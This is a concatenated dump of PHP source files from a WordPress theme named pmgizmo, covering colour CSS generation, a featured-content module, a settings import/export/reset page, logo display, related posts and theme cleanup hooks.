    if ( isset($theme_options['tabbed_header_color']) and $theme_options['tabbed_header_color'] <> $theme_def['tabbed_header_color'] ) :
        $color_css .= '
                .widget-tabnavi, .widget-tabnav {
                    background: '. $theme_options['tabbed_header_color'] .';
                }
                ';
    endif;
    // Tabbed Header Title Color
    if ( isset($theme_options['tabbed_hdtl_color']) and $theme_options['tabbed_hdtl_color'] <> $theme_def['tabbed_hdtl_color'] ) :
        $color_css .= '
                #sidebar .widget.pmthemes_tabbed_content .widget-tabnav a:link {
                    color: '. $theme_options['tabbed_hdtl_color'] .';
                }
                ';
    endif;
    // Tabbed Link Color
    if ( isset($theme_options['tabbed_linked_color']) and $theme_options['tabbed_linked_color'] <> $theme_def['tabbed_linked_color'] ) :
        $color_css .= '
                #sidebar .widget.pmthemes_tabbed_content .tabdiv a:link{
                    color: '. $theme_options['tabbed_linked_color'] .';
                }
                ';
    endif;
    // Tabbed Post Meta Color
    if ( isset($theme_options['tabbed_post_meta_clr']) and $theme_options['tabbed_post_meta_clr'] <> $theme_def['tabbed_post_meta_clr'] ) :
        $color_css .= '
                .widget-tabbed .tabdiv ul li .widget-postmeta,
                .widget-tabbed .tabdiv ul li .widget-postmeta:before {
                    color: '. $theme_options['tabbed_post_meta_clr'] .';
                }
                ';
    endif;
    // =========Footer Widgets===========//
    // Footer Widgets Gradient
    if (isset($theme_options['fwidget_gradient_enable']) and $theme_options['fwidget_gradient_enable'] == true ) :
        $color_css .= '
            #footer-widgets-bg {
                background: '. $theme_options['footer_widgets_color'] .';
                background: linear-gradient('. $theme_options['fwidget_gr_dir'] .', '. $theme_options['footer_widgets_color'] .', '. $theme_options['fwidget_grad_ient'] .');
                background: -webkit-linear-gradient('. $theme_options['fwidget_gr_dir'] .', '. $theme_options['footer_widgets_color'] .', '. $theme_options['fwidget_grad_ient'] .');
                background: -o-linear-gradient('. $theme_options['fwidget_gr_dir'] .', '. $theme_options['footer_widgets_color'] .', '. $theme_options['fwidget_grad_ient'] .');
                background: -moz-linear-gradient('. $theme_options['fwidget_gr_dir'] .', '. $theme_options['footer_widgets_color'] .', '. $theme_options['fwidget_grad_ient'] .');
            }';
    else:
        if ( isset($theme_options['footer_widgets_color']) and $theme_options['footer_widgets_color'] <> $theme_def['footer_widgets_color'] ) :
            $color_css .= '
            #footer-widgets-bg {
                background: '.  $theme_options['footer_widgets_color'] .';
            }';
        endif;
    endif;
    if ( isset($theme_options['footer_each_widget']) and $theme_options['footer_each_widget'] <> $theme_def['footer_each_widget'] ) :
        $color_css .= '
            #footer-widgets .widget {
                background: '.  $theme_options['footer_each_widget'] .';
            }';
    endif;
    if ( isset($theme_options['footer_widgets_header_title']) and $theme_options['footer_widgets_header_title'] <> $theme_def['gen_head_font_color'] ) :
        $color_css .= '
            #footer-widgets .widgettitle {
                color: '.  $theme_options['footer_widgets_header_title'] .';
            }';
    endif;
    if ( isset($theme_options['footer_widgets_header_bg']) and $theme_options['footer_widgets_header_bg'] <> $theme_def['footer_widgets_header_bg'] ) :
        $color_css .= '
            #footer-widgets .widgettitle {
                background: '.  $theme_options['footer_widgets_header_bg'] .';
            }';
    endif;
	if ( isset($theme_options['footer_texts_borders']) and $theme_options['footer_texts_borders'] <> $theme_def['footer_texts_borders'] ) :
		$color_css .= '
            #footer-widgets .widget ul li {
                border-bottom: 1px solid '.  $theme_options['footer_texts_borders'] .';
            }';
	endif;	
	if ( isset($theme_options['footer_widgets_texts']) and $theme_options['footer_widgets_texts'] <> $theme_def['footer_widgets_texts'] ) :
		$color_css .= '
            #footer-widgets .widget a:link, #footer-widgets .widget a:visited, #footer-widgets .product-title {
                color: '.  $theme_options['footer_widgets_texts'] .';
            }';
	endif;
    if ( isset($theme_options['footer_widgets_pltxt']) and $theme_options['footer_widgets_pltxt'] <> $theme_def['footer_widgets_pltxt'] ) :
        $color_css .= '
            #footer-widgets .widget div, #footer-widgets .widget ul {
                color: '.  $theme_options['footer_widgets_pltxt'] .';
            }';
    endif;
	if ( isset($theme_options['footer_texts_colol']) and $theme_options['footer_texts_colol'] <> $theme_def['footer_texts_colol'] ) :
		$color_css .= '
            #footer-text, #footer-text a:link, #footer-text a:visited, #footernav-menu a:link, #footernav-menu a:visited, #footernav-menu li:before {
                color: '.  $theme_options['footer_texts_colol'] .';
            }';
	endif;
	if ( isset($theme_options['footer_color']) and $theme_options['footer_color'] <> $theme_def['footer_color'] ) :
		$color_css .= '
            #footer {
                background: '. $theme_options['footer_color'] .';
            }';
	endif;
	if ( isset($theme_options['footer_top_brdr']) and $theme_options['footer_top_brdr'] <> $theme_def['footer_top_brdr'] ) :
		$color_css .= '
            #footer {
                border-top: '. $theme_options['footer_top_brdr_hei'] .'px solid '. $theme_options['footer_top_brdr'] .';
            }';
	endif;
    if ( isset($theme_options['footer_bottom_brdr']) and $theme_options['footer_bottom_brdr'] <> $theme_def['footer_bottom_brdr'] ) :
        $color_css .= '
            #footer {
                border-bottom: '. $theme_options['footer_bot_brdr_hei'] .'px solid '. $theme_options['footer_bottom_brdr'] .';
            }';
    endif;

	// Print Color CSS
    if ( $color_css ) {
        wp_add_inline_style( 'pmthemes-custom', $color_css );
    }
}pmgizmo/inc/featured-content.php000064400000035720152223213640012766 0ustar00<?php
/**
 * Pmthemes Featured Content
 *
 * This module will allow users to define a subset of posts to be displayed in a
 * theme-designated featured content area.
 *
 * For maximum compatibility with different methods of posting users will
 * designate a featured post tag to associate posts with. Since this tag now has
 * special meaning beyond that of a normal tags, users will have the ability to
 * hide it from the front-end of their site.
 *
 *
 *
 * Original Code: Twenty Fourteen http://wordpress.org/themes/twentyfourteen
 * Original Copyright: the WordPress team and contributors.
 * 
 * The following code is a derivative work of the code from the Twenty Fourteen theme, 
 * which is licensed GPLv2. This code therefore is also licensed under the terms 
 * of the GNU Public License, version 2.
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
class Pmthemes_Featured_Content {

	/**
	 * The maximum number of posts that a Featured Content area can contain.
	 *
	 * @see Pmthemes_Featured_Content::init()
	 */
	public static $max_posts = 20;

	/**
	 * Instantiate.
	 *
	 * All custom functionality will be hooked into the "init" action.
	 */
	public static function setup() {
		add_action( 'init', array( __CLASS__, 'init' ), 30 );
	}

	/**
	 * Conditionally hook into WordPress.
	 *
	 * @uses Pmthemes_Featured_Content::$max_posts
	 */
	public static function init() {

		// Get Number of Posts from Theme settings
		
		add_filter( 'pmthemes_get_featured_content',     array( __CLASS__, 'get_featured_posts' )    );
		add_action( 'customize_register',                 array( __CLASS__, 'customize_register' ), 9 );
		add_action( 'admin_init',                         array( __CLASS__, 'register_setting'   )    );
		add_action( 'save_post',                          array( __CLASS__, 'delete_transient'   )    );
		add_action( 'delete_post_tag',                    array( __CLASS__, 'delete_post_tag'    )    );
		add_action( 'customize_controls_enqueue_scripts', array( __CLASS__, 'enqueue_scripts'    )    );
		add_action( 'pre_get_posts',                      array( __CLASS__, 'pre_get_posts'      )    );
		add_action( 'switch_theme',                       array( __CLASS__, 'delete_transient'   )    );
		add_action( 'wp_loaded',                          array( __CLASS__, 'wp_loaded'          )    );

	}

	/**
	 * Hide "featured" tag from the front-end.
	 *
	 * Has to run on wp_loaded so that the preview filters of the customizer
	 * have a chance to alter the value.
	 */
	public static function wp_loaded() {
		if ( self::get_setting( 'hide-tag' ) ) {
			add_filter( 'get_terms',     array( __CLASS__, 'hide_featured_term'     ), 10, 3 );
			add_filter( 'get_the_terms', array( __CLASS__, 'hide_the_featured_term' ), 10, 3 );
		}
	}

	/**
	 * Get featured posts
	 *
	 * @uses Pmthemes_Featured_Content::get_featured_post_ids()
	 *
	 * @return array
	 */
	public static function get_featured_posts() {
		$post_ids = self::get_featured_post_ids();

		// No need to query if there is are no featured posts.
		if ( empty( $post_ids ) ) {
			return array();
		}

		$featured_posts = get_posts( array(
			'include'        => $post_ids,
			'posts_per_page' => count( $post_ids )
		) );

		return $featured_posts;
	}

	/**
	 * Get featured post IDs
	 *
	 * This function will return the an array containing the post IDs of all
	 * featured posts.
	 *
	 * Sets the "featured_content_ids" transient.
	 *
	 * @return array Array of post IDs.
	 */
	public static function get_featured_post_ids() {
		// Return array of cached results if they exist.
		$featured_ids = get_transient( 'featured_content_ids' );
		if ( ! empty( $featured_ids ) ) {
			return array_map( 'absint', apply_filters( 'pmthemes_featured_content_post_ids', (array) $featured_ids ) );
		}

		$settings = self::get_setting();

		// Return empty array if no tag name is set.
		$term = get_term_by( 'name', $settings['tag-name'], 'post_tag' );
		if ( ! $term ) {
			$term = get_term_by( 'id', $settings['tag-id'], 'post_tag' );
		}
		if ( $term ) {
			$tag = $term->term_id;
		} else {
			return apply_filters( 'pmthemes_featured_content_post_ids', array() );
		}

		// Query for featured posts.
		$featured = get_posts( array(
			'numberposts' => self::$max_posts,
			'tax_query'   => array(
				array(
					'field'    => 'term_id',
					'taxonomy' => 'post_tag',
					'terms'    => $tag,
				),
			),
		) );

		// Return empty array if no featured content exists.
		if ( ! $featured )
			return apply_filters( 'pmthemes_featured_content_post_ids', array() );

		// Ensure correct format before save/return.
		$featured_ids = wp_list_pluck( (array) $featured, 'ID' );
		$featured_ids = array_map( 'absint', $featured_ids );

		set_transient( 'featured_content_ids', $featured_ids );

		return apply_filters( 'pmthemes_featured_content_post_ids', $featured_ids );
	}

	/**
	 * Delete Transient.
	 *
	 * Hooks in the "save_post" action.
	 * @see Pmthemes_Featured_Content::validate_settings().
	 */
	public static function delete_transient() {
		delete_transient( 'featured_content_ids' );
	}

	/**
	 * Exclude featured posts from the blog query when the blog is the front-page,
	 * and user has not checked the "Display tag content in all listings" checkbox.
	 *
	 * Filter the home page posts, and remove any featured post ID's from it.
	 * Hooked onto the 'pre_get_posts' action, this changes the parameters of the
	 * query before it gets any posts.
	 *
	 * @uses Pmthemes_Featured_Content::get_featured_post_ids();
	 * @uses Pmthemes_Featured_Content::get_setting();
	 * @param WP_Query $query
	 * @return WP_Query Possibly modified WP_Query
	 */
	public static function pre_get_posts( $query ) {

		// Bail if not home or not main query.
		if ( ! $query->is_home() || ! $query->is_main_query() ) {
			return;
		}

		// Bail if the blog page is not the front page.
		if ( 'posts' !== get_option( 'show_on_front' ) ) {
			return;
		}

		$featured = self::get_featured_post_ids();

		// Bail if no featured posts.
		if ( ! $featured ) {
			return;
		}

		$settings = self::get_setting();

		// Bail if the user wants featured posts always displayed.
		if ( true == $settings['show-all'] ) {
			return;
		}

		// We need to respect post ids already in the blacklist.
		$post__not_in = $query->get( 'post__not_in' );

		if ( ! empty( $post__not_in ) ) {
			$featured = array_merge( (array) $post__not_in, $featured );
			$featured = array_unique( $featured );
		}

		$query->set( 'post__not_in', $featured );
	}

	/**
	 * Reset tag option when the saved tag is deleted.
	 *
	 * It's important to mention that the transient needs to be deleted, too.
	 * While it may not be obvious by looking at the function alone, the transient
	 * is deleted by Pmthemes_Featured_Content::validate_settings().
	 *
	 * Hooks in the "delete_post_tag" action.
	 * @see Pmthemes_Featured_Content::validate_settings().
	 *
	 * @param int $tag_id The term_id of the tag that has been deleted.
	 * @return void
	 */
	public static function delete_post_tag( $tag_id ) {
		$settings = self::get_setting();

		if ( empty( $settings['tag-id'] ) || $tag_id != $settings['tag-id'] ) {
			return;
		}

		$settings['tag-id'] = 0;
		$settings = self::validate_settings( $settings );
		update_option( 'featured-content', $settings );
	}

	/**
	 * Hide featured tag from displaying when global terms are queried from
	 * the front-end.
	 *
	 * Hooks into the "get_terms" filter.
	 *
	 * @uses Pmthemes_Featured_Content::get_setting()
	 *
	 * @param array $terms A list of term objects. This is the return value of get_terms().
	 * @param array $taxonomies An array of taxonomy slugs.
	 * @return array $terms
	 */
	public static function hide_featured_term( $terms, $taxonomies, $args ) {

		// This filter is only appropriate on the front-end.
		if ( is_admin() ) {
			return $terms;
		}

		// We only want to hide the featured tag.
		if ( ! in_array( 'post_tag', $taxonomies ) ) {
			return $terms;
		}

		// Bail if no terms were returned.
		if ( empty( $terms ) ) {
			return $terms;
		}

		// Bail if term objects are unavailable.
		if ( 'all' != $args['fields'] ) {
			return $terms;
		}

		$settings = self::get_setting();
		$tag = get_term_by( 'name', $settings['tag-name'], 'post_tag' );

		if ( false !== $tag ) {
			foreach ( $terms as $order => $term ) {
				if ( is_object( $term ) && ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) ) {
					unset( $terms[ $order ] );
				}
			}
		}

		return $terms;
	}

	/**
	 * Hide featured tag from displaying when terms associated with a post object
	 * are queried from the front-end.
	 *
	 * Hooks into the "get_the_terms" filter.
	 *
	 * @uses Pmthemes_Featured_Content::get_setting()
	 *
	 * @param array $terms A list of term objects. This is the return value of get_the_terms().
	 * @param int $id The ID field for the post object that terms are associated with.
	 * @param array $taxonomy An array of taxonomy slugs.
	 * @return array $terms
	 */
	public static function hide_the_featured_term( $terms, $id, $taxonomy ) {

		// This filter is only appropriate on the front-end.
		if ( is_admin() ) {
			return $terms;
		}

		// Make sure we are in the correct taxonomy.
		if ( 'post_tag' != $taxonomy ) {
			return $terms;
		}

		// No terms? Return early!
		if ( empty( $terms ) ) {
			return $terms;
		}

		$settings = self::get_setting();
		$tag = get_term_by( 'name', $settings['tag-name'], 'post_tag' );

		if ( false !== $tag ) {
			foreach ( $terms as $order => $term ) {
				if ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) {
					unset( $terms[ $order ] );
				}
			}
		}

		return $terms;
	}

	/**
	 * Register custom setting on the Settings -> Reading screen.
	 *
	 * @uses Pmthemes_Featured_Content::validate_settings()
	 *
	 * @return void
	 */
	public static function register_setting() {

		// Register sanitization callback for the Customizer.
		register_setting( 'featured-content', 'featured-content', array( __class__, 'validate_settings' ) );
	}

	/**
	 * Add settings to the Customizer.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public static function customize_register( $wp_customize ) {
		$wp_customize->add_section( 'pmthemes_featured_content', array(
			'title'          => __( 'Featured Content', 'pmthemes' ),
			'description'    => sprintf( __( 'Easily feature all posts with the <a href="%1$s">"featured" tag</a> or a tag of your choice. Your theme supports up to %2$s posts in its featured content area.', 'pmthemes' ), admin_url( '/edit.php?tag=featured' ), absint( self::$max_posts ) ),
			'priority'       => 6,
			'panel'			 => 'pmthemes_options_panel'
		) );

		/* Add Featured Content settings.
		 *
		 * Sanitization callback registered in Pmthemes_Featured_Content::validate_settings().
		 * See http://themeshaper.com/2013/04/29/validation-sanitization-in-customizer/comment-page-1/#comment-12374
		 */
		$wp_customize->add_setting( 'featured-content[tag-name]', array(
			'type'                 => 'option',
			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
		) );
		$wp_customize->add_setting( 'featured-content[hide-tag]', array(
			'default'              => true,
			'type'                 => 'option',
			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
		) );
		$wp_customize->add_setting( 'featured-content[show-all]', array(
			'default'              => false,
			'type'                 => 'option',
			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
		) );

		// Add Featured Content controls.
		$wp_customize->add_control( 'featured-content[tag-name]', array(
			'label'          => __( 'Tag name', 'pmthemes' ),
			'section'        => 'pmthemes_featured_content',
			'priority'       => 20,
		) );
		$wp_customize->add_control( 'featured-content[hide-tag]', array(
			'label'          => __( 'Hide tag from displaying in post meta and tag clouds.', 'pmthemes' ),
			'section'        => 'pmthemes_featured_content',
			'type'           => 'checkbox',
			'priority'       => 30,
		) );
		$wp_customize->add_control( 'featured-content[show-all]', array(
			'label'          => __( 'Display featured posts in latest blog post listing.', 'pmthemes' ),
			'section'        => 'pmthemes_featured_content',
			'type'           => 'checkbox',
			'priority'       => 40,
		) );
	}

	/**
	 * Enqueue the tag suggestion script.
	 */
	public static function enqueue_scripts() {
		wp_enqueue_script( 'pmthemes-featured-content-suggest', get_template_directory_uri() . '/js/featured-content-admin.js', array( 'jquery', 'suggest' ), '20150421', true );
	}

	/**
	 * Get settings
	 *
	 * Get all settings recognized by this module. This function will return all
	 * settings whether or not they have been stored in the database yet. This
	 * ensures that all keys are available at all times.
	 *
	 * In the event that you only require one setting, you may pass its name as the
	 * first parameter to the function and only that value will be returned.
	 *
	 * @param string $key The key of a recognized setting.
	 * @return mixed Array of all settings by default. A single value if passed as first parameter.
	 */
	public static function get_setting( $key = 'all' ) {
		$saved = (array) get_option( 'featured-content' );

		$defaults = array(
			'hide-tag' => 1,
			'tag-id'   => 0,
			'tag-name' => '',
			'show-all' => 0,
		);

		$options = wp_parse_args( $saved, $defaults );
		$options = array_intersect_key( $options, $defaults );

		if ( 'all' != $key ) {
			return isset( $options[ $key ] ) ? $options[ $key ] : false;
		}

		return $options;
	}

	/**
	 * Validate settings
	 *
	 * Make sure that all user supplied content is in an expected format before
	 * saving to the database. This function will also delete the transient set in
	 * Pmthemes_Featured_Content::get_featured_content().
	 *
	 * @uses Pmthemes_Featured_Content::delete_transient()
	 *
	 * @param array $input
	 * @return array $output
	 */
	public static function validate_settings( $input ) {
		$output = array();

		if ( empty( $input['tag-name'] ) ) {
			$output['tag-id'] = 0;
		} else {
			$term = get_term_by( 'name', $input['tag-name'], 'post_tag' );

			if ( $term ) {
				$output['tag-id'] = $term->term_id;
			} else {
				$new_tag = wp_create_tag( $input['tag-name'] );

				if ( ! is_wp_error( $new_tag ) && isset( $new_tag['term_id'] ) ) {
					$output['tag-id'] = $new_tag['term_id'];
				}
			}

			$output['tag-name'] = $input['tag-name'];
		}

		$output['hide-tag'] = isset( $input['hide-tag'] ) && $input['hide-tag'] ? 1 : 0;

		$output['show-all'] = isset( $input['show-all'] ) && $input['show-all'] ? 1 : 0;

		self::delete_transient();

		return $output;
	}
}

Pmthemes_Featured_Content::setup();pmgizmo/inc/iex.php000064400000015560152223213640010304 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
add_action('admin_menu', 'pmthemes_add_pages');
function pmthemes_add_pages() {
add_submenu_page('pmthemes', 'Import/Export/Reset', 'Import/Export/Reset', 'manage_options', 'pmthemes-iex', 'pmthemes_iexp_page');
	wp_enqueue_style( 'pmthemes-options', PMTHEMES_URI . '/css/admin.css');
	wp_enqueue_style( 'pmthemes-style-grid', PMTHEMES_URI . '/css/grid.css', false, PMTHEMES_VERSION, 'all' );
}
function pmthemes_iexp_page() {
	?>
	<div id="pmthemes">
	<div class="wrap">
		<div class="metabox-holder">
			<div class="postbox-container">
				<div class="grid-container grid-parent">
					<div class="form-metabox grid-70">
						<div class="postbox pmthemes-metabox" id="pmthemes">
							<h3 class="hndle"><?php _e('Export Customizer Settings','pmthemes');?></h3>
								<div class="inside">	
							<p><strong>Export</strong> your settings set in the <a href="<?php echo admin_url('customize.php'); ?>">Customizer</a>.</p>
							<form method="post">
								<p><input type="hidden" name="pmthemes_action" value="export_settings" /></p>
								<p>
									<?php wp_nonce_field( 'pmthemes_export_nonce', 'pmthemes_export_nonce' ); ?>
									<?php submit_button( 'Export Customizer Settings', 'button-primary', 'submit', false ); ?>
								</p>
							</form>	
						</div>
					</div>
					<div class="postbox pmthemes-metabox" id="pmthemes-import">
						<h3 class="hndle"><?php _e('Import Customizer Settings','pmthemes');?></h3>
						<div class="inside">
					<p><?php _e( '<strong>Import</strong> your settings by uploading your exported .json file.','pmthemes' ); ?></p>
					<form method="post" enctype="multipart/form-data">
						<p>
							<input type="file" name="import_file"/>
						</p>
						<p>
							<input type="hidden" name="pmthemes_action" value="import_settings" />
							<?php wp_nonce_field( 'pmthemes_import_nonce', 'pmthemes_import_nonce' ); ?>
							<?php submit_button( 'Import Customizer Settings', 'button-primary', 'submit', false ); ?>
							
						</p>
					</form>
					<?php do_action('pmthemes_add_import_items'); ?>
						</div>
					</div>
						<div class="postbox pmthemes-metabox" id="gen-delete">
							<h3 class="hndle"><?php _e('Reset Customizer Settings','pmthemes');?></h3>
							<div class="inside">
												
								<p><?php _e( '<strong>Warning:</strong> Clicking this button will delete your settings set in the Customizer area.','pmthemes' ); ?></p>
								<p><?php _e( 'You may want to export your settings before deleting them forever.','pmthemes');?></p>
								<form method="post">
									<p><input type="hidden" name="pmthemes_reset_customizer" value="pmthemes_reset_customizer_settings" /></p>
									<p>
										<?php wp_nonce_field( 'pmthemes_reset_customizer_nonce', 'pmthemes_reset_customizer_nonce' ); ?>
										<?php submit_button( 'Delete Default Customizer Settings', 'button', 'submit', false ); ?>
									</p>	
								</form>
								<?php do_action('pmthemes_delete_settings_form');?>
							</div>
						</div>
					</div>
					<div class="pmthemes-right-sidebar grid-30">
					<div class="postbox pmthemes-metabox addon-metabox" id="gen-2">
					<h3 class="hndle"><?php _e('Import/Export/Reset','pmthemes');?></h3>
					<div class="inside">
						<p><?php _e( 'Use this page to import/export customizer settings. You can even reset it if needed.','pmthemes');?></p>
					</div>
					</div>
				</div>
			</div>
		</div>
	</div>
	</div>
<?php }

/**
 * Reset customizer settings
 */
add_action( 'admin_init', 'pmthemes_reset_customizer_settings' );
function pmthemes_reset_customizer_settings() {

	if( empty( $_POST['pmthemes_reset_customizer'] ) || 'pmthemes_reset_customizer_settings' !== $_POST['pmthemes_reset_customizer'] )
		return;

	if( ! wp_verify_nonce( $_POST['pmthemes_reset_customizer_nonce'], 'pmthemes_reset_customizer_nonce' ) )
		return;

	if( ! current_user_can( 'manage_options' ) )
		return;

	delete_option('pmthemes_theme_options');
	
	wp_safe_redirect( admin_url( 'admin.php?page=pmthemes-iex&status=reset' ) ); exit;

}

/**
 * Process a settings export that generates a .json file of the shop settings
 */
add_action( 'admin_init', 'pmthemes_process_settings_export' );
function pmthemes_process_settings_export() {

	if( empty( $_POST['pmthemes_action'] ) || 'export_settings' != $_POST['pmthemes_action'] )
		return;

	if( ! wp_verify_nonce( $_POST['pmthemes_export_nonce'], 'pmthemes_export_nonce' ) )
		return;

	if( ! current_user_can( 'manage_options' ) )
		return;
	
	$settings = get_option( 'pmthemes_theme_options' );

	ignore_user_abort( true );

    nocache_headers();
    $site_title =  sanitize_title_with_dashes( get_bloginfo('name') );
    header( 'Content-Type: application/json; charset=utf-8' );
    header( 'Content-Disposition: attachment; filename='. $site_title .'-customizer-settings-' . date( 'm-d-Y' ) . '.json' );
    header( "Expires: 0" );

	echo json_encode( $settings );
	exit;
}

/**
 * Process a settings import from a json file
 */
add_action( 'admin_init', 'pmthemes_process_settings_import' );
function pmthemes_process_settings_import() {

	if( empty( $_POST['pmthemes_action'] ) || 'import_settings' != $_POST['pmthemes_action'] )
		return;

	if( ! wp_verify_nonce( $_POST['pmthemes_import_nonce'], 'pmthemes_import_nonce' ) )
		return;

	if( ! current_user_can( 'manage_options' ) )
		return;
	
	$filename = $_FILES['import_file']['name'];
	$extension = end( explode( '.', $_FILES['import_file']['name'] ) );
	$name = substr( $filename, 0, strrpos($filename,'-export') );
	$name = str_replace( '-', '_',$name);

	if( $extension != 'json' ) {
		wp_die( __( 'Please upload a valid .json file', 'pmthemes' ) );
	}
	$import_file = $_FILES['import_file']['tmp_name'];
	if( empty( $import_file ) ) {
		wp_die( __( 'Please upload a file to import', 'pmthemes' ) );
	}
	// Retrieve the settings from the file and convert the json object to an array.
	// This json_decode part will fail on WP Theme Check but read reason here: http://docs.reduxframework.com/core/theme-check/
	$settings = json_decode( file_get_contents( $import_file ), true );
	update_option( 'pmthemes_theme_options', $settings );
	wp_safe_redirect( admin_url( 'admin.php?page=pmthemes-iex&status=imported' ) ); exit;
}
/**
 * Add our admin notices
 */
add_action( 'admin_notices', 'pmthemes_admin_errors' );
function pmthemes_admin_errors()
{
	
	if ( isset( $_GET['status'] ) && 'imported' == $_GET['status'] ) {
		 add_settings_error( 'pmthemes-notices', 'imported', __( 'Import successful.', 'pmthemes' ), 'updated' );
	}
	
	if ( isset( $_GET['status'] ) && 'reset' == $_GET['status'] ) {
		 add_settings_error( 'pmthemes-notices', 'reset', __( 'Settings removed.', 'pmthemes' ), 'updated' );
	}

	settings_errors( 'pmthemes-notices' );
}pmgizmo/inc/custom-logo.php000064400000002064152223213640011762 0ustar00<?php
/*
 * Custom Header
 * 
 * Removes default Site Logo of Pmthemes and replaces it with Site Logo Feature
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Remove default site title
remove_action( 'pmthemes_site_title', 'pmthemes_display_site_title' );
// Display Footer Widgets on Pmthemes
add_action( 'pmthemes_site_title', 'pmthemes_display_site_logo' );
// Display Site Title
function pmthemes_display_site_logo() { 
	// Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
?>
	<a href="<?php echo esc_url(home_url('/')); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">		
	<?php // Display Logo Image or Site Title
		if ( isset($theme_options['header_logo']) and $theme_options['header_logo'] <> '' ) : ?>
			<img class="site-logo" src="<?php echo esc_url($theme_options['header_logo']); ?>" alt="<?php esc_attr(bloginfo('name')); ?>" />
	<?php else: ?>
			<h1 class="site-title"><?php bloginfo('name'); ?></h1>
	<?php endif; ?>
	</a>
<?php
}
?>pmgizmo/inc/related.php000064400000010273152223213640011133 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
global $post;
$categories = get_the_category($post->ID);
if($categories) {
    foreach( $categories as $individual_category ) {
        $category_ids[] = $individual_category->term_id;
    }
    $theme_options = pmthemes_theme_options();
    if ( $theme_options['related_post_order'] == 'random-posts' ) {
        $post_order = 'RAND';
    } else if ( $theme_options['related_post_order'] == 'old-posts' ) {
        $post_order = 'ASC';
    } else {
        $post_order = 'DESC';
    }
    $args = array(
        'category__in' => $category_ids,
        'numberposts' => $theme_options['related_post_count'],
        'orderby' => 'date',
        'order'   => $post_order,
        'post__not_in' => array($post->ID)
    );
    $related_posts = get_posts( $args );
    echo '<div class="related-posts-grid">';
    echo '<div class="reltitlebg">';
    echo '<h3 class="reltitle">'. $theme_options['related_header_title'] . '</h3>';
    echo '</div>';
    if ( isset($theme_options['related_post_style']) and $theme_options['related_post_style'] == 'four-cols' ) :
        echo '<div class="related-posts-columns related-posts-four-columns clearfix">';
    elseif ( isset($theme_options['related_post_style']) and $theme_options['related_post_style'] == 'three-cols' ) :
        echo '<div class="related-posts-columns related-posts-three-columns clearfix">';
    elseif ( isset($theme_options['related_post_style']) and $theme_options['related_post_style'] == 'two-cols' ) :
        echo '<div class="related-posts-columns related-posts-two-columns clearfix">';
    elseif ( isset($theme_options['related_post_style']) and $theme_options['related_post_style'] == 'simple-list' ) :
        echo '<div class="related-posts-columns posts-one-column clearfix">';
    endif;
    if($related_posts) {
        foreach ( $related_posts as $post ) : setup_postdata( $post ); ?>
            <div class="related-post-column clearfix">
                <article id="post-<?php the_ID(); ?>">
                    <?php if ( isset($theme_options['related_posts_thumb']) and $theme_options['related_posts_thumb'] == true ) : ?>
                        <a href="<?php the_permalink() ?>" rel="bookmark">
                            <?php if ( has_post_thumbnail() ) { the_post_thumbnail('featured_image'); } else { ?>
                                <img src="<?php echo get_stylesheet_directory_uri(); ?>/images/thumbnail.png" width="100%" height="auto"/>
                            <?php } ?>
                        </a>
                    <?php endif; ?>
                    <header class="entry-header">
                        <?php
                        the_title( sprintf( '<h4 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h4>' );
                        ?>
                    </header>
                    <?php if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
                        <span class="meta-date">
                        <?php printf(__('<time datetime="%1$s">%2$s</time>', 'pmthemes'),
                            esc_attr( get_the_date( 'c' ) ),
                            esc_html( get_the_date() ) );
                        ?>
                        </span>
                    <?php endif; ?>
                    <?php if ( isset($theme_options['related_posts_excerpt']) and $theme_options['related_posts_excerpt'] == true ) : ?>
                        <div class="entry">
                            <?php add_filter('excerpt_length', 'pmthemes_related_posts_excerpt'); the_excerpt(); ?>
                        </div>
                        <?php remove_filter('excerpt_length', 'pmthemes_related_posts_excerpt'); endif; ?>
                </article>
            </div>
        <?php endforeach; }
    else { ?>
        <div class="related-post-column clearfix">
            <article id="post-<?php the_ID(); ?>">
                <?php echo '<p>' . __( 'No Related Posts Yet!', 'pmthemes' ) . '</p>'; ?>
            </article>
        </div>
    <?php }
}
wp_reset_postdata();
echo '</div>';
echo '</div>';
?>pmgizmo/inc/wp-cleanup.php000064400000001514152223213640011564 0ustar00<?php
/**
* Dont Update the Theme
* If there is a theme in the repo with the same name, this prevents WP from prompting an update.
*/
function pmthemes_dont_update_theme( $r, $url ) {
	if ( 0 !== strpos( $url, 'https://api.wordpress.org/themes/update-check/1.1/' ) )
		return $r; // Not a theme update request. Bail immediately.
	$themes = json_decode( $r['body']['themes'] );
	$child = get_option( 'stylesheet' );
	unset( $themes->themes->$child );
	$r['body']['themes'] = json_encode( $themes );
	return $r;
}
add_filter( 'http_request_args', 'pmthemes_dont_update_theme', 5, 2 );

/*** Disable Header Generators */
remove_action( 'wp_head', 'wp_generator' ) ;
remove_action( 'wp_head', 'wlwmanifest_link' ) ;
remove_action( 'wp_head', 'rsd_link' ) ;

// Remove inline CSS for emoji
//remove_action( 'wp_print_styles', 'print_emoji_styles' );pmgizmo/inc/custom-fonts.php000064400000007637152223213640012166 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Replace default Google Fonts URL with custom Fonts
add_filter('pmthemes_google_fonts_url', 'pmthemes_google_fonts_url');
function pmthemes_google_fonts_url() { 
	// Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
	// Default Fonts which haven't to be load from Google
	$default_fonts = Pmthemes_Custom_Font_Lists::default_browser_fonts();
	// Set Google Font Array
	$google_font_families = array();
	// Add Text Font
	if( isset($theme_options['text_font']) and !in_array($theme_options['text_font'], $default_fonts)) :
